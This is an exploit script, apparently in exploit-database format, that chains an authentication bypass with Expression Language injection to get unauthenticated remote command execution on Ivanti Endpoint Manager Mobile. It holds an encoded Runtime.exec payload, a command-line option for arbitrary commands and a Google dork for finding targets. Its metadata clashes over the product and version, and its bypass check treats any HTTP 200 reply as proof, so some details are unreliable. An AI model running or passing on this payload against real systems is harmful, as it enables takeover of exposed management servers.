Ivanti Endpoint Manager Mobile 12.5.0.0 – Authentication Bypass
#!/usr/bin/env python3 # Exploit Title: Ivanti Endpoint Manager Mobile 12.5.0.0 - Authentication Bypass # Google Dork: inurl:/mifs "Ivanti" OR "EPM" OR "Endpoint Manager" # Date: 2025-01-21 # Exploit Author: [Your Name] (https://github.com/[your-username]) # Vendor Homepage: https://www.ivanti.com/ # Software Link: https://www.ivanti.com/products/endpoint-manager # Version: < 2025.1 # Tested on: Ubuntu 22.04 LTS, Python 3.10 # CVE: CVE-2025-4427, CVE-2025-4428 # Description: # Ivanti Endpoint Manager (EPM) before version 2025.1 contains critical vulnerabilities: # 1. CVE-2025-4427: Expression Language Injection in featureusage API endpoint allowing RCE # 2. CVE-2025-4428: Authentication bypass on administrative endpoints # The vulnerabilities can be chained to achieve unauthenticated remote code execution. # Requirements: # - Python 3.x # - requests >= 2.25.1 # - urllib3 # Usage: # python3 CVE-2025-4427.py -t https://target-ivanti-epm.com # python3 CVE-2025-4427.py -t https://target-ivanti-epm.com --exploit -c "whoami" import requests import urllib3 import argparse from urllib.parse import urljoin urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class IvantiExploit: def __init__(self, target): self.target = target.rstrip('/') + '/' self.session = requests.Session() self.session.verify = False def detect_cve_2025_4427(self): """Quick detection for CVE-2025-4427""" # Simple math payload for detection payload = '%24%7b%32%2b%32%7d' # ${2+2} url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}" try: resp = self.session.get(url, timeout=10) if resp.status_code == 400 and ('4' in resp.text or 'Process[pid' in resp.text): return True, "CVE-2025-4427 VULNERABLE - Expression Language Injection" except: pass return False, "CVE-2025-4427 NOT VULNERABLE" def exploit_rce(self, command='id'): """Execute command via CVE-2025-4427""" # URL encode the command cmd_hex = command.encode().hex() cmd_encoded = ''.join(f'%{cmd_hex[i:i+2]}' for i in range(0, len(cmd_hex), 2)) # RCE payload payload = f'%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27{cmd_encoded}%27%29%7d' url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}" try: resp = self.session.get(url, timeout=15) if resp.status_code == 400 and 'Process[pid' in resp.text: return True, f"RCE SUCCESS: {resp.text[:200]}" except: pass return False, "RCE FAILED" def detect_cve_2025_4428(self): """Quick detection for CVE-2025-4428""" admin_endpoints = ['/mifs/rs/api/v2/admin', '/admin', '/api/admin'] for endpoint in admin_endpoints: try: url = urljoin(self.target, endpoint) resp = self.session.get(url, timeout=10) if resp.status_code == 200: return True, f"CVE-2025-4428 VULNERABLE - Auth bypass on {endpoint}" except: continue return False, "CVE-2025-4428 NOT VULNERABLE" def run_all_tests(self): """Run all detection tests""" print(f"[+] Testing target: {self.target}") # Test CVE-2025-4427 vuln_4427, msg_4427 = self.detect_cve_2025_4427() print(f"[{'!' if vuln_4427 else '-'}] {msg_4427}") # Test CVE-2025-4428 vuln_4428, msg_4428 = self.detect_cve_2025_4428() print(f"[{'!' if vuln_4428 else '-'}] {msg_4428}") # If 4427 is vulnerable, try RCE if vuln_4427: print("[+] Attempting RCE...") rce_success, rce_msg = self.exploit_rce('whoami') print(f"[{'!' if rce_success else '-'}] {rce_msg}") return vuln_4427 or vuln_4428 def main(): banner = """ --[[ .___ __ .__ _____________________ _____ _____ | |__ _______ _____/ |_|__| \_ _____/\______ \/ \ / \ | \ \/ /\__ \ / \ __\ | | __)_ | ___/ \ / \ / \ / \ | |\ / / __ \| | \ | | | | \ | | / Y \/ Y \ |___| \_/ (____ /___| /__| |__| /_______ / |____| \____|__ /\____|__ / \/ \/ \/ \/ \/ --]] """ print(banner) parser = argparse.ArgumentParser() parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., https://target.com)') parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)') parser.add_argument('--exploit', action='store_true', help='Attempt exploitation') args = parser.parse_args() exploit = IvantiExploit(args.target) if args.exploit: print(f"[+] Exploiting with command: {args.command}") success, result = exploit.exploit_rce(args.command) print(f"[{'!' if success else '-'}] {result}") else: exploit.run_all_tests() if __name__ == "__main__": main() |